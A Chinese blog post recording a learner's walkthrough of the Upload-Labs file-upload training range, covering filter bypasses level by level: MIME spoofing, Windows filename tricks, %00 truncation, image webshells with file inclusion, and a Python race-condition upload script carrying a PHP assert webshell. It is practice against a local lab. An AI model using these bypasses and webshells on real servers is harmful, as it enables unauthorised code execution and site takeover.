UploadLabs靶场


以下是文件上传绕过的各种思路,不过是鄙人做题记下来的一些思路笔记罢了。


Pass-01

先传一个图片过去,成功上传。
image
尝试传muma过去,提示失败,但是这个提示是在前端直接显示出来的,好像并没有发送请求过去。
image
尝试找到前端校验代码,直接在开发者模式将其js调用的函数删掉。
image
image
然后再次尝试上传木马,上传成功了
image
直接看服务端也是上传成功了。
image

Pass-02

观察前端也是有之前的第一关的前端校验,删除后直接尝试上传木马。

发现上传失败。
image
image
可以看到前端代码我们通过了,但是后端可能又校验没有通过,所以抓包观察一下。

  • 首先尝试修改content-type是否能够上传过去。

    Content-Type: image/jpg
    image
    可以看得到还是失败了。
    image
    可能jpg不行,那试试png?
    还真过去了!现在就是直接找到回显的这个路径直接连接就行了。因为这个回显的路径和文件名都是php,也能够直接访问,然后也被当成php执行了里面的木马代码。
    image

我很纳闷为什么jpg不行,难道jpg列入黑名单了?那就showcode看看

原来是jpg没有进白名单,所以有时候多尝试几个mime头还是OK的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

但是我仔细一想,发现要是我一开始就先尝试看看哪种文件能够上传成功那就和自己对着能够上传过去的文件进行修改不就好了吗?我重新尝试了一下上传jpg图片看看是不是真的没法上传,但是意外上传成功了!?
image
后面再另外上传一个伪装jpg一抓包发现,原来jpg图片现在的mime头都是JPEG了。。。。原来是我的问题。。。。
image

Pass-03

先传一个带木马的jpg文件看看过不过得去
image
正常过去了
image
看下该文件路径,使用时间戳进行更改名字。但是我们的web.jpg确实过去了,很有可能没有对我内容进行检查,所以我们要抓包在文件名处做文章。
image

  • 尝试直接修改后缀名但是Content-Type为jpeg(失败了)
    image
    image

  • 首先要理解服务端保存文件名字路径的方式,他是将.前面的全当成文件名然后用时间戳替换了,.后面符合过滤条件就使用不符合就不保存返回错误提示。
    由于我们知道服务端是采用的apache,现在有如下几种手段

    • 赌一下运维人员配置不当,存在php3,php7等等也当做php文件执行了。
      (当然这一关就是这个答案,但是需要我们手动配置好)
      在http.d文件中:AddType application/x-httpd-php .php .phtml .php5

    • 双写(肯定不行,因为直接给php拦下来了,不然的话就会变成没有后缀名的时间戳文件名的文件)

    • 尝试xx.php . 或者 xx.php. .,但是都不行,因为服务端会把最后一个点的前面都当成文件名用时间戳替换掉,那么你的filename就会成为: 时间戳.

    • 大小写混合 (失败)

    • 双写
      成功但后缀名没有被替换,依旧是失败了。
      image

    • ::DATA(可能可以,因为windows刚好是服务端使用的系统)

    • 冒号: 二次传输(同理或许能行得通,因为也是针对windows系统)

    • .htaccess(试过了也失败了)

  • 上传php5后缀名,上传成功,根据回显路径访问文件。
    image
    image
    image

  • 但是在访问的时候发现版本也是一个问题,如图所示,只有非nts版本的才能够在我们http.d下添加的后缀名能够被执行,其他都是直接下载而不是执行。(当然都是在http.d下天了php5后缀名的了,只是效果不同而已)
    下面的5.5.38由于我在windowsserver2003中,他不支持就切不了。
    image

  • 重新发送一下木马
    image
    直接访问看看,访问成功了。终于结束了这场闹剧。。。。
    image

Pass-04

传一个木马图片过去看看什么情况,发现文件名没有改,然后也没有校验文件的内容
image
image
尝试::$DATA看看不行不

::$DATA失败
image
尝试windows的其他特性

  • xx.php .

    失败
    image

  • xx.php. .
    成功了!!!!!!!!!!!!!但是回显是1.php.,但是没有关系,因为windows特性是不会让文件名最后一个字符是.的,所以我们接访问1.php即可
    image
    image
    使用蚁剑连接成功
    image

  • xx.php:.jpg(这里需要二次传输)

    • 第一次:(成功了!!!!!!!!!!)
      传过去但是该文件没有内容,第一次的作用就是创建一个文件。
      image
      可以看到服务端的这个文件也是0kb
      image
    • 第二次:作用是传输文件内容进去
      这里注意传的文件名是1.<<,<<是追加符号,把内容追加到文件名为1的文件中去
      image
      看到路径是1.<<,但是没关系,接着看后面
      image
      我们现在尝试着连接一下1.php,同样是成功了!!!!!!!!!!!!
      image
      回到服务器看看怎么个事。
      果然成功将内容输入进去了,不再是0kb内容。而且里面的内容就是我们要的
      image

Pass-05

老规传一个木马图片看看怎么个事
image
正常传过去了,但是又是那一招使用时间戳把我文件重命名了。
那这样先传一个php文件抓包看看
image
直接过去肯定被拦下来了
image
现在有如下几个思路

  • 修改Content-Type (失败)

  • 修改Content-Type 和 添加文件头,比如GIF89A (失败)

  • windows特性

    • xx.php. (失败)

    • xx.php. . (成功!!!!!!!!)
      image
      注意了,我这里圈出来了我之前使用过的方法比如Content-type还是gif和文件内容中也有gif的标准头,这是因为防范一下,不然刚好服务端都考虑了这两个,不然我就吃亏了,明明一个漏洞能够找到,但就是因为你没有考虑到这种组合的情况就错失了。
      但是!!!!!!!!回去一看访问路径,惨遭滑铁卢。。。。。居然还是那一招,最后一个.号前面全部使用时间戳命名了。。
      image

再次思考一下我还有什么办法??

  • ::$DATA (失败)

  • .htaccess (还是失败)

    image
    image

  • 冒号:
    (也是失败了)
    image
    image

  • 啊难道没有办法了吗!!!!!!????
    思考了一下还能使用啥??

  • 双写绕过,感觉不太靠谱,试一试
    image
    是过去了但是后缀名没有被替换,所以还是不行
    image

  • 大小写混合使用???试一试??
    image
    啊???还真过了啊,当真是兵不厌诈。。。。然后连接了一下还真是连接成功了的。。。。
    image
    image

Pass-06

老规矩上来就上传一个木马图片,成功了,但是依旧是熟悉的时间戳
image
直接上传php木马文件肯定是不允许的,这里就不演示了。
按照我们的经验,以下是我实验的顺序

  • 大小写混合(失败)

  • 双写 (失败)

  • windows特性

    • xx.php .

      成功了。。。这么简单吗???试试连接一下也OK了,但是我不甘心,我要继续测试看其他方式行不行
      image

image

- `xx.php. .`

失败
image
- xx.php::$DATA
失败
image
- xx.php:.jpg
失败
image

  • 既然重命名了我们的.htaccess也上传不了(试过了,失败)

那就是一个xx.php .利用windows特性上传成功并成功解析木马。
查看源码发现原来如此,先是删除了末尾的点,然后变成xx.php后,strrchr就找到最后一个点然后该点后面的作为后缀名,那就是.php作为后缀名了。但是和第三关不一样的是因为这里没有将空格去掉,第三关有一个函数是: $file_name = trim($_FILES['upload_file']['name']);,所以我们的windows特性都利用失败了,只能够说通过尝试同后缀名来测试是否有运维人员的配置不当来绕过。
image

Pass-07

先传一个带马图片过去,上传成功
image
现在开始传php木马文件过去
尝试直接使用windows的特性

  • xx.php .
    居然一下子就上传成功了
    image
    同时也连接成功
    image

Pass-08

木马图片传过去,发现使用了老朋友时间戳重命名了文件。
image
由于是知道服务器使用的是windows系统,所以结合该系统特性

  • xx.php .

    失败

  • xx.php. .

    失败
    image

  • xx.php::$DATA
    成功了
    image
    过去后是这样的路径,不过没关系,在windows下就只剩下php后缀名了,按照回显的文件名进行访问即可。
    image
    连接成功
    image

  • xx.php:.jpg
    失败
    image

Pass-09

上传木马图片,成功上传。并且我们的文件名没有改变。
image
先修改一下Content-type,然后也是意料之中被拦截了。
image
在此基础上利用apache的漏洞

  • 首先不是2.2版本一下,排除xx.php.php123后缀名解析漏洞

  • 运维人员配置不当存在可解析的后缀名。(php1,php2,php3,php4....)

    已尝试:失败了

  • 上传.htaccess文件,这个因为我们上传的文件没有被改掉名字,所以是可以尝试使用.htaccess文件

    居然也失败了,是直接被列入黑名单了。
    image

  • 利用windows的其他特性

    • xx.php .
      失败
    • xx.php. .
      成功了居然,那就尝试连接一下。
      image
      同样连接成功了。
      image
  • xx.php::$DATA
    失败

  • xx.php:.jpg
    成功!!!!!
    image
    进行二次输入,也成了,那我们尝试连接一下
    image
    连接也成功了!!!(说明,1.php我是在服务器删除了才使用这个方式上传过去的,所以这个1.php就是使用windows的:.jpg方式二次传输过去的)
    image

Pass-10

上传一个木马图片,回显名字发现没有被修改,那就代表没有对文件内容进行检查。
image
上传木马php文件,抓包修改数据包
先修改一下content-type看看是否能够直接过去。
image
奇怪的就是我们的php不见了,到这里一想就想到了其实是替换掉了我们的php,我么使用双写或许就绕过了。
使用双写:成功绕过
image
成功连接上木马
image

Pass-11

上传一个木马图片,上传成功,那就代表没有对内容进行检查,还发现用了时间戳修改文件名字。
image
尝试上传php木马

  • 首先尝试抓包修改content-type
    意料之中,失败了
  • windows特性利用
    • xx.php .
      失败
    • xx.php. .
      失败
    • xx.php::$DATA
      失败
    • xx.php:.jpg
      成功上传但是文件后缀名没有修改成功
      image
  • 双写
    失败
  • 大小写混合
    失败
  • 那就结合apache漏洞的解析漏洞进行上传
    • 上传.htaccess文件
      但是这里使用了时间戳进行重命名,所以也是失败告终
    • 赌运维人员配置不当导致有文件后缀名能够当成php代码解析了。但是只允许上传这几个文件类型。也是失败了。
      image
  • apache2.2版本的话还能上传一个xx.php.jpg上去,但是我们就不是用的2.2

其实当我用出了双写和混合大小写的时候就知道这题不简单了,很有可能是时间竞争,这时候我show code一下。
好的打脸了,其实不是时间竞争,而是%00截断


$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

看来我还是太嫩了,漏了这一茬,其实我应该再细心一点,上传一个图片过去的时候就应该要发现了,这里多了一个反斜杠。
image
还有一个线索就是我们的上传路径变成了
/uploadlabs/Pass-11/index.php?save_path=../upload/
这个就是典型的%00截断啊,你小子这么粗心这都没发现!!!!因为看到能够在客户端中给出保存的路径的时候,我们就能够通过我们自己给出的这个路径将其截断一下,刚好拿到这个save_path的时候我们就能够通过%00将其截断掉了!!!!!!!
image
OK那么事已至此,尘埃落定,事实证明了我是个菜鸟,直面事实吧。
上传一个php木马,然后我们直接在save_path加上截断就行
image
注意事项:nts版本上传失败(我这里版本切换成了5.2.17),上传的后缀名随便,真正的文件名写在%00前面,因为保存文件名的路径是使用save_path的,所以本质上这个漏洞就是判断的是我们上传的文件的后缀名,然后需要保存的路径是get请求中带过去,就是因为get这个url的目录保存路径,导致目录拼接我们的文件名的时候,我们给的目录中有截断字符,所以保存下来的就是我们的save_path目录中给出的文件名。

听懂掌声!

Pass-12

上传一个带木马的图片文件,发现成功上传,代表没有对内容进行检查,检查回显的文件名路径是是用来时间戳重命名了。
image
上传木马,抓包发现post数据包中发现有save_path在里面,我们就应该要立刻反映出来能够进行%00截断,因为是在客户端给出的参数中取出保存的路径这个漏洞必定有%00截断。
image
修改数据包将其截断,当然我们filename不能是.php后缀名,我们需要过了校验,所以使用jpg或者gif等等都无所谓,这里只是为了过后端校验罢了,我们真正保存的名字是save_path通过%00截断将其截断出来我们要保存的文件名而已,%00能够在拼接的时候截断掉后面的filename将会失效。

但是!!!!!!!!!!!!!!!!注意,这里使用的是post数据,我们%00只是在get的url中能够使用,我们%00对应的就是00,所以我们post作为正常数据的截断需要修改十六进制数据,而%00对应的十六进制数据是0x00,这就很容易了。

比如save_path=../upload/随便.php空格 ,在最后多加了一个空格,然后抓包修改的时候找到空格的十六进制将其修改为00就行,我们知道空格对应的十六进制是0x20,所以找的时候也方便,同时也让空格先占一个位置,修改的时候直接修改那个位置就行。
image
如上图所示,找到所在位置的十六进制对应的空格,然后修改为00即可
image
然后直接发送就行。(如果你burpsuite的字体是没修改过的,或许你会看到你的空格会变成一个类似口的东西在后缀名后面。这样也能够验证你修改成功了。)
image
连接一下suibian.php,成功连上。
image

Pass-13

上传一个木马图片,发现被拦下来了,所以可以笃定肯定对我们的图片内容进行检查了。
image
思路:

  • 改content-type
  • 该文件内容头部
  • 既然该关卡中写明了有文件包含漏洞,那我们直接传一个后缀名不是php的也是可以(包含的文件都会被当成php执行)

没想到改完后直接就过去了,甚至没有对我的后缀名和content-type进行核对
image
现在的任务就是利用文件包漏洞包含该路径下的1.jpg木马文件

上传过去后使用时间戳给我更改了名字而且连后缀名也改掉了,当真是无语,我给出的jpg后缀名看都不看。
image
那既然如此,在此关卡中给出的文件包含漏洞处尝试包含一下试试

这是文件包含的漏洞代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

image
连接成功了。
image
这一关是文件内容头检查,所以我们的内容中添加了GIF89A就能够绕过。(代码中是读取文件的内容进行判读类型)

这一关的源代码如下:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-14

上传一个木马图片,发现对我的文件内容进行检查了
image
思路:

  • 改文件content-type
  • 文件内容头部数据添加对应的content-type类型头部
  • 上传不是php的也行,因为文件包含漏洞中包含的是php文件,只要我们上传文件内容中包含了木马代码即可。

上传成功
image
看到文件路径我也是再次无语,同样是和13关一样,我的1.php后缀名看都不看,直接使用我的content-type类型拿来作为后缀名了
image
利用文件包含漏洞包含该路径下的文件

这是文件包含漏洞的代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

尝试包含木马图片
image
尝试连接木马,也是连接成功了。
image
getimagesize函数解析

<?php
// 图像文件的路径
$filename = 'example.jpg';

// 获取图像信息
$imageinfo = getimagesize($filename);

if ($imageinfo !== false) {
    // 打印图像信息
    echo "图像宽度: " . $imageinfo[0] . "<br>";
    echo "图像高度: " . $imageinfo[1] . "<br>";
    echo "图像类型: " . $imageinfo[2] . "<br>";
    echo "MIME 类型: " . $imageinfo['mime'] . "<br>";
} else {
    echo "无法获取图像信息。";
}
?>

image_type_to_extension函数解析,这一关的源码就是使用了上面函数返回的数组中获取下标为2的图像类型作为参数

<?php
// 图像类型
$imagetype = IMAGETYPE_JPEG;

// 获取图像类型对应的文件扩展名(包含点)
$extension = image_type_to_extension($imagetype);
echo "文件扩展名(包含点):$extension<br>";

// 获取图像类型对应的文件扩展名(不包含点)
$extension_without_dot = image_type_to_extension($imagetype, false);
echo "文件扩展名(不包含点):$extension_without_dot<br>";
?>

源代码如下:

结合上面两个函数的解析可以发现,这一关中其实也就是检查文件头内容判断文件的类型,我也尝试了修改各种文件后缀名和修改各种content-type发现都改变不了后缀名,只要我们的文件内容头部是正确的都能够通过校验。

比如我数据包里面文件内容头部一直都是GIF89A,然后无论我怎么修改filename的后缀名还有修改content-type的类型都没有任何影响,我的文件照样是按照gif的类型传送过去了,然后回显给我的文件后缀名也是gif。

第13关也是一样,只不过这一关中使用的是getimagesize来获取图片信息,然后通过该数组来获取图片的类型,13关只不过是通过读取文件内容来获取图片类型而已。有异曲同工之处。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-15

这一关同14关操作。

Pass-16

这一关中比较总和,我们一个一个方法进行测试。

  • 传输一个图片木马,发现被拦下来,那就代表肯定是对我们的文件内容进行检查
    image
  • 抓包修改content-type和文件头内容
    出乎意料的居然没有通过
    image

这时候应该思考的是我们的内容可能二次渲染了,这些二次渲染的函数会读取我们的文件内容然后根据内容重新生成图片,如果生成成功那就存下来。(先不要考虑时间竞争问题)

  • 验证是二次渲染和赌不被清空木马代码的可能性

    我们要通过二次渲染的图片就要使用图片和木马内容进行结合,目前有两种办法

    • 使用windows/linux的系统指令对正常的图片文件和木马文件进行合并
    windows的指令:copy /b 图片.jpg+木马.txt 目标.jpg   然后就通过上传目标.jpg看看是否上传成功
    
    linux就不演示了(因为我懒)
    
    • 使用特定的工具对图片和木马进行结合(这种方法可行性较高)

    在Vstart50中的工具:VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具\edjpgcom.exe
    以上的方式我已经测试了很多种,有的能够传过去,但是利用文件包含漏洞包含解析的时候会报语法错误,只能够说能够上传过去且保留下木马代码的图片叫做坚强的木马。(只能说到这渗透勉强成功和结束了)

Pass-17

上传一个图片木马,上传成功,并没有对文件内容进行校验,但是老样子使用了时间戳重命名。
image
思路:

  • 时间戳重命名的话windows特性十有八九失败,但还是要一试

    • xx.php .
    • xx.php. .
    • xx.php::$DATA
    • xx.php:.jpg
  • 没有客户端给出保存路径的参数,所以00截断不行

  • 尝试上传php1/php2/php3等等后缀名(赌一下运维人员配置不当导致漏洞的发生)

  • apache上传.htaccess也会失败,因为重命名的原因。2.2版本漏洞也不存在,使用的不再是该版本。

  • 找出文件包含漏洞直接秒了,但是这一题不可以使用前面一题目的文件包含进行作弊。

  • 双写和大小写混合,实验后同样是失败了。因为固定了后缀名允许的几个图片(jpg,png,gif)

  • 那就只剩下条件竞争了

    • 时间竞争

      这一关就是通过时间竞争,时间竞争比较容易成功,因为已经存进了服务器中,只不过不通过服务器校验的话再删除而已。

      所以只要能够访问成功一次我们上传的代码文件,能做什么事情全看我们的代码写的什么。

      改代码可以是直接创建一个shell脚本,然后后续直接访问该创建出来的脚本即可。

      具体步骤参考下面即可:

      第一种:使用burpsuite攻击器来发送大量的数据包(使用两个攻击器,一个发送一个访问)

      第二种:使用python的hackhttp模块

      #pip install hackhttp安装hackhttp模块
      #!/usr/bin/env python
      # coding:utf-8
      
      
      import hackhttp
      from multiprocessing.dummy import Pool as ThreadPool
      def upload(lists):
      	hh = hackhttp.hackhttp()
      	raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
       Host: 127.0.0.1
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 
      Firefox/49.0
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
       Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
       Accept-Encoding: gzip, deflate
       Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
       Cookie: pass=17
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: multipart/form-data; boundary=--------------------------
      -6696274297634
       Content-Length: 341
      
       -----------------------------6696274297634
       Content-Disposition: form-data; name="upload_file"; filename="17.php"
       Content-Type: application/octet-stream
      
       <?php assert($_POST["LandGrey"])?>
       -----------------------------6696274297634
       Content-Disposition: form-data; name="submit"
      
       上传
       -----------------------------6696274297634--
       """
      	 code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-/index.php',raw=raw)
      	 print(str(code) + "\r")
      
      #===========================================
      pool = ThreadPool(10)
      pool.map(upload, range(10000))
      pool.close()
      pool.join()
      
  • 重命名竞争
    重命名在18关

Pass-18

这一关是重命名竞争。很容易复现。

首先说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

前提需要

  • 需要白名单内有.7z(注意是白名单为.7z,不要和下面搞混)
  • apache版本需要在2.x能解析.php.7z文件。但是实测5.2.17也能够解析.php.7z文件(注意,是能够解析.php.7z)
  • 使用burpsuite快速进行发送数据包即可。如果手速不够快直接使用burpsuite攻击器进行攻击。使用其他攻击器也行。

下面演示使用burpsuite
image
可以看到直接成功了,根本没有用到攻击器(也有可能是我搭建的环境比较垃圾,删除的比较慢,所以攻击成功。)

但是注意,这里是代码开了一个小玩笑,我们上传的是1.php.7z,但是这里却是upload1.php.7z,很容易就想到是少了一个/导致路径拼接成了upload1.php.7z,(原本应该是想传到upload/1.php.7z)但是没有关系,我们上传成功了即可,现实中不会出现这种错误。
image
再次说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

所以现在尝试使用蚁剑连接试试,成功了。
image

Pass-19

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg,这里就不在演示了。

Pass-20

源码审计,源自CTF比赛的,由于实际工作中代码不可能都一样,所以审计这里就不写了。

posted @ 2024-05-14 12:59  竹等寒  阅读(39)  评论(0编辑  收藏  举报